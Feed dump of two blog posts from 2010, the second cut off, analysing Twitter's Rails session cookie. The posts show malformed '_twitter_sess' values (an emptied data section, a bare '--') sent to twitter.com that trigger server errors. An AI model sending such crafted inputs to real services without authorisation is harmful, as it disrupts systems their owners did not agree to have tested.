:-)&amp;nbsp; And, I'm no &lt;a href="http://xorl.wordpress.com/"&gt;xorl&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;Analysis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;There is a lot in this file. First off, notice this nice documentation:&lt;br /&gt;&lt;pre&gt;# A message digest is included with the cookie to ensure data integrity:&lt;br /&gt;    # a user cannot alter his +user_id+ without knowing the secret key&lt;br /&gt;    # included in the hash. New apps are generated with a pregenerated secret&lt;br /&gt;    # in config/environment.rb. Set your own for old apps you're upgrading.&lt;/pre&gt;&lt;br /&gt;Opening &lt;i&gt;./config/environment.rb&lt;/i&gt; does not show any pre-generated key. This is probably good, since I guess people would not change the secret. Now, if somehow this &lt;a href="http://www.google.com/search?&amp;amp;q=inurl:environment.rb"&gt;file is exposed&lt;/a&gt;, well, then, you got problems.&lt;br /&gt;&lt;br /&gt;So, we got Class &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;CookieStore&lt;/span&gt;, with the following def's:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;initialize&lt;/li&gt;&lt;li&gt;call&lt;/li&gt;&lt;li&gt;build_cookie (private)&lt;/li&gt;&lt;li&gt;load_session (private)&lt;/li&gt;&lt;li&gt;marshal (private)&lt;/li&gt;&lt;li&gt;unmarshal (private)&lt;/li&gt;&lt;li&gt;ensure_session_key (private)&lt;/li&gt;&lt;li&gt;ensure_secret_secure (private)&lt;/li&gt;&lt;li&gt;verifier_for (private)&lt;/li&gt;&lt;li&gt;generate_sid (private)&lt;/li&gt;&lt;li&gt;persistent_session_id (private)&lt;/li&gt;&lt;li&gt;inject_persistent_session_id (private)&lt;/li&gt;&lt;li&gt;require_session_id (private)&lt;/li&gt;&lt;/ul&gt;Instead of seeing how the cookie is created, I'm interested right now how it's validated when the client sends it back. Looking at that list, &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;unmarshal&lt;/span&gt; sticks out like a sore thumb. So, we can be more certain that the Base64 glob of data is a &lt;a href="http://en.wikipedia.org/wiki/Marshalling_%28computer_science%29"&gt;marshaled&lt;/a&gt; Ruby / Ruby on Rails object.&lt;br /&gt;&lt;br /&gt;Here's the "unmarshal" method:&lt;br /&gt;&lt;pre&gt;# Unmarshal cookie data to a hash and verify its integrity.&lt;br /&gt;        def unmarshal(cookie)&lt;br /&gt;          persistent_session_id!(@verifier.verify(cookie)) if cookie&lt;br /&gt;        rescue ActiveSupport::MessageVerifier::InvalidSignature&lt;br /&gt;          nil&lt;br /&gt;        end&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;From what I've read, the use of "!" and "?" is just a syntactical hint of the method's behavior. Is it an action that might shoot you in the foot? Maybe use the "!" at the end to indicate this. Is the method a question? Maybe use "?" at the end.&amp;nbsp; &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;persistent_session_id!&lt;/span&gt; is called &lt;a href="http://ruby-doc.org/docs/ProgrammingRuby/html/tut_expressions.html#UI"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;if&lt;/span&gt;&lt;/a&gt; cookie exists (not nil). This calls &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;verifier.verify&lt;/span&gt; on cookie. &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;verifier.verify&lt;/span&gt; will return an exception or load the marshalled object and return it. (See the verifier.verify analysis at the end - and I hate it that Blogger doesn't allow for same-page anchors...) The exception is caught by &lt;a href="http://ruby-doc.org/core/classes/Kernel.html#M005927" style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;rescue&lt;/a&gt; and returns nil.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;Apples to Oranges&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;One attack would be to somehow cause the OpenSSL call to fail. The only variable we control in this is &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;data&lt;/span&gt;. Going back to the &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;verify&lt;/span&gt; call, &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;data&lt;/span&gt; is derived from the cookie, split at the "--" portion. Here's that cookie again:&lt;br /&gt;&lt;pre&gt;BAh7CToMY3NyZl9pZCIlMTgwZDRhNTIyMDNjNjFlNjVkYzgyZjk5YmNiMjM1%0AODQ6EXRyYW5zX3Byb21wdDA6B2lkIiU5OGViMmNkMmEwNjhiMjQ0YjA3ZTkz%0AOTU4NDQyZjk4MiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6%0AOkZsYXNoSGFzaHsABjoKQHVzZWR7AA%3D%3D--155a3cf21b10246345bea30752bde45e6f841de0&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;So, &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;data&lt;/span&gt; will be the doubly-URL encoded, Base64 encoded object to the left and &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;digest&lt;/span&gt; will be the ASCII-hex 40 characters to the right. Now, if &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;digest&lt;/span&gt; is omitted, &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;generate_digest&lt;/span&gt; will still be called with &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;data&lt;/span&gt; and the return to &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;verify&lt;/span&gt; will hit the comparison, which will be false. But, what would happen if &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;data&lt;/span&gt; was omitted?&lt;br /&gt;&lt;br /&gt;On WebScarab, navigate to the "Manual Request" tab and choose a request that sends &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;_twit_session&lt;/span&gt;. Blank out the &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;data&lt;/span&gt; section, leaving the &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;digest&lt;/span&gt; section. Click on the "Fetch Response" button and enjoy :-)&lt;br /&gt;&lt;br /&gt;Here's the request:&lt;br /&gt;&lt;pre&gt;GET https://twitter.com:443/ HTTP/1.1&lt;br /&gt;Host: twitter.com&lt;br /&gt;User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12&lt;br /&gt;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;Accept-Language: en-us,en;q=0.5&lt;br /&gt;Accept-Encoding: gzip,deflate&lt;br /&gt;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;Keep-Alive: 300&lt;br /&gt;Connection: keep-alive&lt;br /&gt;Cookie: _twitter_sess=--0f3a3574cd1c1abd0012a67d4cd886f53274a6f5;&lt;br /&gt;Pragma: no-cache&lt;br /&gt;Cache-Control: no-cache&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;And the response:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;HTTP/1.1 500 Internal Server Error&lt;br /&gt;Date: Tue, 02 Feb 2010 02:39:03 GMT&lt;br /&gt;Server: hi&lt;br /&gt;Status: 500 Internal Server Error&lt;br /&gt;Content-Type: text/html; charset=utf-8&lt;br /&gt;Cache-Control: no-cache, max-age=300&lt;br /&gt;Set-Cookie: _twitter_sess=BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo%250ASGFzaHsABjoKQHVzZWR7AA%253D%253D--1164b91ac812d853b877e93ddb612b7471bebc74; domain=.twitter.com; path=/&lt;br /&gt;Expires: Tue, 02 Feb 2010 02:44:03 GMT&lt;br /&gt;Vary: Accept-Encoding&lt;br /&gt;X-Content-Encoding: gzip&lt;br /&gt;Content-length: 1732&lt;br /&gt;Connection: close&lt;br /&gt;&lt;br /&gt;[...]&lt;br /&gt;&lt;/pre&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Ag2GsPPoUVg/S2eR1e4X9JI/AAAAAAAAADI/jnVSL2LiFLI/s1600-h/Picture+3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="260" src="http://2.bp.blogspot.com/_Ag2GsPPoUVg/S2eR1e4X9JI/AAAAAAAAADI/jnVSL2LiFLI/s320/Picture+3.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Whoops :-)&lt;br /&gt;&lt;br /&gt;So we got &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;InvalidSignature&lt;/span&gt; to raise. which sets &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;unmarshal&lt;/span&gt; to &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;nil&lt;/span&gt;. Now, going up the chain, &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;unmarshal&lt;/span&gt; is called by &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;load_session&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;def load_session(env)&lt;br /&gt;          request = Rack::Request.new(env)&lt;br /&gt;          session_data = request.cookies[@key]&lt;br /&gt;          data = unmarshal(session_data) || persistent_session_id!({})&lt;br /&gt;          [data[:session_id], data]&lt;br /&gt;        end&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;If &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;unmarshal&lt;/span&gt; returns true, then set &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;data&lt;/span&gt; to its return value. Otherwise, set &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;data&lt;/span&gt; to the return value of &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;persistent_session_id!&lt;/span&gt;.&amp;nbsp; If you care about what &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;persistent_session_id!&lt;/span&gt; does, scan all the way below. Basically, for the example above, &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;data&lt;/span&gt; will be set to a new hash containing a &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;:session_id&lt;/span&gt; key set to 16 bytes of random data. &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;load_session&lt;/span&gt; returns an array with the &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;:session_id&lt;/span&gt; key value and the &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;data&lt;/span&gt; hash.&lt;br /&gt;&lt;br /&gt;Somewhere outside of this file, something cares about data not looking like a true setup hash. I'm too lazy to track this down. My guess is that other Twitter-centric session keys are not added even though the session token is verified.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;Simpler Bug&lt;/span&gt;&lt;br /&gt;Another bug, even simpler to trigger, is in &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;verifier.verify&lt;/span&gt;. We can get &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;digest&lt;/span&gt; to equal the results of &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;generate_digest(data)&lt;/span&gt; without knowing the secret. &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;generate_digest&lt;/span&gt; expects a string. What if it got a non-string? Since &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;data&lt;/span&gt; is taken from the cookie, the content will almost always be a string. But, what if we just gave it &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;nil&lt;/span&gt;?&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;data, digest = signed_message.split("--")&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;For the cookie value, let's just send "--".&amp;nbsp; The split above will return &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;nil&lt;/span&gt; for both &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;data&lt;/span&gt; and &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;digest&lt;/span&gt;. Let's see what happens to Twitter in this case:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;GET https://twitter.com:443/ HTTP/1.1&lt;br /&gt;Host: twitter.com&lt;br /&gt;User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12&lt;br /&gt;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;Accept-Language: en-us,en;q=0.5&lt;br /&gt;Accept-Encoding: gzip,deflate&lt;br /&gt;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;Keep-Alive: 300&lt;br /&gt;Connection: keep-alive&lt;br /&gt;Cookie: _twitter_sess=--;&lt;br /&gt;Pragma: no-cache&lt;br /&gt;Cache-Control: no-cache&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;And response:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Fri, 05 Feb 2010 18:15:33 GMT&lt;br /&gt;Server: hi&lt;br /&gt;Content-Type: text/html; charset=UTF-8&lt;br /&gt;Cache-Control: max-age=300&lt;br /&gt;Expires: Fri, 05 Feb 2010 18:20:33 GMT&lt;br /&gt;Vary: Accept-Encoding&lt;br /&gt;X-Content-Encoding: gzip&lt;br /&gt;Content-length: 108&lt;br /&gt;Connection: close&lt;br /&gt;&lt;br /&gt;Status: 500 Internal Server Error&lt;br /&gt;&lt;br /&gt;Content-Type: text/html&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;500 Internal Server Error&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Note: I had to modify the return because Blogger sucks and interprets HTML within &lt;br /&gt;the pre blocks...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Ag2GsPPoUVg/S2xhZptS-eI/AAAAAAAAADQ/t-ujXiaKc6Q/s1600-h/Picture+1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_Ag2GsPPoUVg/S2xhZptS-eI/AAAAAAAAADQ/t-ujXiaKc6Q/s320/Picture+1.png" /&gt;&lt;/a&gt;&lt;/div&gt;This is interesting in a couple ways. One, it's a different error message than the other entry. Since the server returned a 200, it missed the Twitter custom 500 error page. Interesting, but not much to exploit.&lt;br /&gt;&lt;br /&gt;Back in &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;verifier.verified&lt;/span&gt;, the &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;generate_digest&lt;/span&gt; call fails because of this:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;irb&lt;br /&gt;OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new('SHA1'), 'secret', nil)&lt;br /&gt;TypeError: can't convert nil into String&lt;br /&gt; from (irb):61:in `hexdigest'&lt;br /&gt; from (irb):61&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;OpenSSL call fails because of a TypeError (&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;nil&lt;/span&gt; vs. a &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;string&lt;/span&gt;). Funny enough, if one sends a &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;nil digest&lt;/span&gt;, the previous 500 error is sent versus this. One guess for this is that a &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;nil&lt;/span&gt; vs. a &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;nil&lt;/span&gt; comparison would work later on in &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;verifier.verified&lt;span style="font-family: inherit;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;K., enough on Twitter's session token. This was just to point out how one can go from unknown to source code, and source code to bugs just by some googling and research.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-large;"&gt;Boring Analysis&lt;/span&gt; (can skip :-)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;verifier.verified Analysis:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;verifier.verified&lt;/span&gt; is at&lt;i&gt; ./vendor/rails/activesupport/lib/active_support/message_verifier.rb&lt;/i&gt; . Opening that file up reveals a class &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;MessageVerifier&lt;/span&gt; with the following methods:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;initialize&lt;/li&gt;&lt;li&gt;verify (yay!)&lt;/li&gt;&lt;li&gt;generate&lt;/li&gt;&lt;li&gt;generate_digest (private)&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;def verify(signed_message)&lt;br /&gt;      data, digest = signed_message.split("--")&lt;br /&gt;      if digest != generate_digest(data)&lt;br /&gt;        raise InvalidSignature&lt;br /&gt;      else&lt;br /&gt;        Marshal.load(ActiveSupport::Base64.decode64(data))&lt;br /&gt;      end&lt;br /&gt;    end&lt;/pre&gt;The code splits the passed in string into two parts, &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;data&lt;/span&gt; and &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;digest&lt;/span&gt;. It then calls &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;generate_digest&lt;/span&gt;, with the &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;data&lt;/span&gt; portion. If they do not equal each other, then an exception is raised. Otherwise, the &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;data&lt;/span&gt; is trusted. It is Base64 decoded and then the object is directly loaded.&lt;br /&gt;&lt;br /&gt;We'll come back here, but let's look at &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;generate_digest:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;private&lt;br /&gt;      def generate_digest(data)&lt;br /&gt;        require 'openssl' unless defined?(OpenSSL)&lt;br /&gt;        OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(@digest), @secret, data)&lt;br /&gt;      end&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;The &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;data&lt;/span&gt; portion of the cookie is ran through OpenSSL SHA1 HMAC. (&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;@digest&lt;/span&gt; is set in the &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;initialize&lt;/span&gt; method, which is set to SHA1.) Read up on &lt;a href="http://tools.ietf.org/html/rfc2104"&gt;RFC2104&lt;/a&gt; or the &lt;a href="http://en.wikipedia.org/wiki/HMAC"&gt;Wikipedia page on HMAC&lt;/a&gt; for more information. It is not trivial to spoof a signature. An attacker would need to know the secret key to roll his or her own signature on a request.&lt;br /&gt;&lt;br /&gt;So, if digest does not equal generate_digest(data), then an exception is raised. Otherwise,&amp;nbsp; the Ruby native Marshal [1] class is used to load decoded object and return it as a value.&lt;br /&gt;&lt;br /&gt;[1] http://ruby-doc.org/core/classes/Marshal.html&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;persistent_session_id! Analysis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;def persistent_session_id!(data)&lt;br /&gt;          (data ||= {}).merge!(inject_persistent_session_id(data))&lt;br /&gt;        end&lt;br /&gt;&lt;br /&gt;        def inject_persistent_session_id(data)&lt;br /&gt;          requires_session_id?(data) ? { :session_id =&amp;gt; generate_sid } : {}&lt;br /&gt;        end&lt;br /&gt;&lt;br /&gt;        def requires_session_id?(data)&lt;br /&gt;          if data&lt;br /&gt;            data.respond_to?(:key?) &amp;amp;&amp;amp; !data.key?(:session_id)&lt;br /&gt;          else&lt;br /&gt;            true&lt;br /&gt;          end&lt;br /&gt;        end&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;The above made me hit ruby-doc.org to get a better understanding. From persistent_session_id!, if the passed in data hash exists, then use data; else set data to an empty hash. (An empty hash returns nil [1].) From here, merge! into the data hash the results of inject_persistent_session_id(data), which better be a hash.&lt;br /&gt;&lt;br /&gt;From inject_persistent_session_id, call requires_session_id? with the passed in data hash. requires_session_id? will see if a session_id is required to be set. If this is required/true, then set the :session_id key in data hash to the results of generate_sid. Otherwise, set data to an empty hash.&lt;br /&gt;&lt;br /&gt;From requires_session_id?, check the data hash to see if it's true. If not, return as true. Otherwise, check the data hash to see if it respond_to? [2] the .keys? method. If it does (which a hash should do), then check to see if data hash has a key of :session_id. If so, return false.&lt;br /&gt;&lt;br /&gt;So, for this whole thing, since the passed in hash was empty, it has a new key created (:session_id) by generate_sid.&lt;br /&gt;&lt;br /&gt;Here's generate_sid:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;def generate_sid&lt;br /&gt;          ActiveSupport::SecureRandom.hex(16)&lt;br /&gt;        end&lt;br /&gt;&lt;/pre&gt;./vendor/rails/activesupport/lib/active_support/secure_random.rb&lt;br /&gt;&lt;br /&gt;I'm not remotely qualified to discuss the merits of the pseudo-random number generator. Take a look if you care. The end result is 16 bytes (128 bits) of random data will be returned in an ASCII-hex string representation.&lt;br /&gt;&lt;br /&gt;[1] http://ruby-doc.org/core/classes/Hash.html&lt;br /&gt;[2] http://ruby-doc.org/core/classes/Object.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-1790590881381888854?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/1790590881381888854/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=1790590881381888854' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/1790590881381888854'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/1790590881381888854'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2010/02/twitter-session-token-fun-part-2.html' title='Twitter Session Token Fun, Part 2'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Ag2GsPPoUVg/S2eR1e4X9JI/AAAAAAAAADI/jnVSL2LiFLI/s72-c/Picture+3.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-7355172621517186624</id><published>2010-02-01T13:01:00.000-06:00</published><updated>2010-02-01T13:01:30.676-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='session tokens'/><category scheme='http://www.blogger.com/atom/ns#' term='ruby on rails'/><category scheme='http://www.blogger.com/atom/ns#' term='session identifiers'/><category scheme='http://www.blogger.com/atom/ns#' term='twitter'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='web application testing'/><title type='text'>Twitter Session Token Fun, Part 1</title><content type='html'>&lt;span style="font-size: large;"&gt;Twitter Session Token&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Session_%28computer_science%29#HTTP_session_token"&gt;Session identifiers&lt;/a&gt; are fun to examine. As the wiki article states, sometimes they are random (or not so random) pieces of data that are associated somehow to some identity. Other times they actually contain information within the token itself. These latter session identifiers are fun to understand, play with, and possible exploit if a vulnerability is present.&lt;br /&gt;&lt;br /&gt;With this, let's take a look at Twitter. I used &lt;a href="http://samurai.inguardians.com/"&gt;Samurai WTF&lt;/a&gt; as my assessment platform, running in a VM on Mac. I use &lt;a href="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project"&gt;WebScarab&lt;/a&gt; as my man-in-the-middle proxy, with Firefox as the browser. Here's what a request / response to Twitter looks like when its session token is sent:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;GET http://twitter.com:80/ HTTP/1.1&lt;br /&gt;Host: twitter.com&lt;br /&gt;User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12&lt;br /&gt;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;Accept-Language: en-us,en;q=0.5&lt;br /&gt;Accept-Encoding: gzip,deflate&lt;br /&gt;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;Keep-Alive: 300&lt;br /&gt;Proxy-Connection: keep-alive&lt;br /&gt;Referer: http://twitter.com/&lt;br /&gt;Pragma: no-cache&lt;br /&gt;Cache-Control: no-cache&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Mon, 01 Feb 2010 17:09:21 GMT&lt;br /&gt;Server: hi&lt;br /&gt;X-Transaction: 1265044162-33784-6588&lt;br /&gt;Status: 200 OK&lt;br /&gt;ETag: "c6977efec59729f1cb0c6327c1ba573b"-gzip&lt;br /&gt;Last-Modified: Mon, 01 Feb 2010 17:09:22 GMT&lt;br /&gt;X-Runtime: 0.02254&lt;br /&gt;Content-Type: text/html; charset=utf-8&lt;br /&gt;Pragma: no-cache&lt;br /&gt;Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0&lt;br /&gt;Expires: Tue, 31 Mar 1981 05:00:00 GMT&lt;br /&gt;X-Revision: DEV&lt;br /&gt;Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT&lt;br /&gt;Set-Cookie: param_q=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT&lt;br /&gt;Set-Cookie: param_page=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT&lt;br /&gt;Set-Cookie: param_status=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT&lt;br /&gt;Set-Cookie: param_in_reply_to_status_id=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT&lt;br /&gt;Set-Cookie: param_in_reply_to=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT&lt;br /&gt;Set-Cookie: param_source=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT&lt;br /&gt;Set-Cookie: param_user=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT&lt;br /&gt;Set-Cookie: param_id=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT&lt;br /&gt;Set-Cookie: dispatch_action=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT&lt;br /&gt;Set-Cookie: _twitter_sess=BAh7CToMY3NyZl9pZCIlMTgwZDRhNTIyMDNjNjFlNjVkYzgyZjk5YmNiMjM1%250AODQ6EXRyYW5zX3Byb21wdDA6B2lkIiU5OGViMmNkMmEwNjhiMjQ0YjA3ZTkz%250AOTU4NDQyZjk4MiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6%250AOkZsYXNoSGFzaHsABjoKQHVzZWR7AA%253D%253D--155a3cf21b10246345bea30752bde45e6f841de0; domain=.twitter.com; path=/&lt;br /&gt;Vary: Accept-Encoding&lt;br /&gt;X-Content-Encoding: gzip&lt;br /&gt;Content-length: 5741&lt;br /&gt;Connection: close&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Look at that _twitter_sess cookie!! That looks yummy!&lt;br /&gt;&lt;br /&gt;First thing to me is that this screams base 64. Second thing is the cookie has some URL escaped characters. (After a while, seeing %25 makes me just think of '%'. And, seeing 3D makes me think of '='. So, having two '==' at the end of a string is a common Base 64 encoding pattern.)&lt;br /&gt;&lt;br /&gt;Opening up WebScarab's transcoder (Tools -&amp;gt; Transcoder), pasting the text, and running "URL decode" gives this:&lt;br 